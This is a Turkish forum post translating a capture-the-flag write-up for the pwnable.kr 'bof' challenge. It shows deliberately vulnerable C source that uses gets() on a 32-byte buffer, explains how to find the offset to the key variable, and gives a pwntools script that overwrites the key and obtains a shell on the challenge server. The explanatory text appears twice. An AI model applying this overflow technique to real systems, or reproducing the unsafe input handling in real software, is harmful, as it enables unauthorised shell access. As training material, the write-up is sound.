- 7 Tem 2013
- 8,193
- 654
Arabellek Aşımı [Pwnable.kr -> bof]
merhabalar, bu Linux exploit geliştirme serisini pwnable'lardan bahsedeceğim. Bu konuda, pawnable.kr'deki BOF sorununa bakacağız. Bu, 32bit Linux'ta basit bir arabellek aşımıdır.
Challange
Bu challange için aşağıda gösterilen bof.c kaynak kodunu alıyoruz.
Program bir girdi parametresi olan func'u 0xdeadbeef olarak ayarlanmış anahtar ile çağırır. Daha sonra anahtar parametresinin 0xcafebabe olup olmadığını kontrol eder (tabi bu asla olmayacak) ve kullanıcıya bir shell verir, aksi takdirde "Hayırr.." diye bir mesaj gönderir. Aşağıdaki grafiğin görünümü aynı mantığı göstermekte.
Bariz bir çözüm burda kendini belli ediyor. Ayarlanmış giriş arabelleği 32 bayttır ancak kullanıcı tarafından sağlanan girişin uzunluk sınırlaması yoktur. Eğer arabelleği aşarsak manuel olarak 0xdeadbeef'i bellekteki 0xcafebabe ile değiştirebiliriz. Hadi büyük bir giriş arabelleği yolladığımızda programın tahmin edeceğiniz üzere çöküşünü seriden görelim :d
Pattern create özelliğini kullanarak girdiden anahtar değişkene olan offset'i bulabiliriz.
Karşılaştırmada bi kesme noktası belirlediğimize dikkatinizi çekerim. Kesme noktasına ulaştığımızda yani breakpoint'e ulaştığımızda offset'i bulmak için içeriği EBP+8'de inceleyebilirsiniz.
Anahtar değişkenin başlangıcı 53+ karakterindedir. Pwntools kullanarak hızlı bir şekilde POC yapabiliriz.
server'a yolladığımızda anahtar değerini kontrol etme aşamasını atlayıp shell alıyoruz.
Source: https://www.fuzzysecurity.com/tutorials/expDev/12.html
Translator @Gauloran
merhabalar, bu Linux exploit geliştirme serisini pwnable'lardan bahsedeceğim. Bu konuda, pawnable.kr'deki BOF sorununa bakacağız. Bu, 32bit Linux'ta basit bir arabellek aşımıdır.
Challange
Bu challange için aşağıda gösterilen bof.c kaynak kodunu alıyoruz.
Kod:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
**** func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
Bariz bir çözüm burda kendini belli ediyor. Ayarlanmış giriş arabelleği 32 bayttır ancak kullanıcı tarafından sağlanan girişin uzunluk sınırlaması yoktur. Eğer arabelleği aşarsak manuel olarak 0xdeadbeef'i bellekteki 0xcafebabe ile değiştirebiliriz. Hadi büyük bir giriş arabelleği yolladığımızda programın tahmin edeceğiniz üzere çöküşünü seriden görelim :d
Pattern create özelliğini kullanarak girdiden anahtar değişkene olan offset'i bulabiliriz.
Karşılaştırmada bi kesme noktası belirlediğimize dikkatinizi çekerim. Kesme noktasına ulaştığımızda yani breakpoint'e ulaştığımızda offset'i bulmak için içeriği EBP+8'de inceleyebilirsiniz.
Anahtar değişkenin başlangıcı 53+ karakterindedir. Pwntools kullanarak hızlı bir şekilde POC yapabiliriz.
Kod:
from pwn import *
r = remote('pwnable.kr', 9000)
buff = ("\x41"*52) + "\xbe\xba\xfe\xca"
r.send(buff)
r.interactive()
Source: https://www.fuzzysecurity.com/tutorials/expDev/12.html
Translator @Gauloran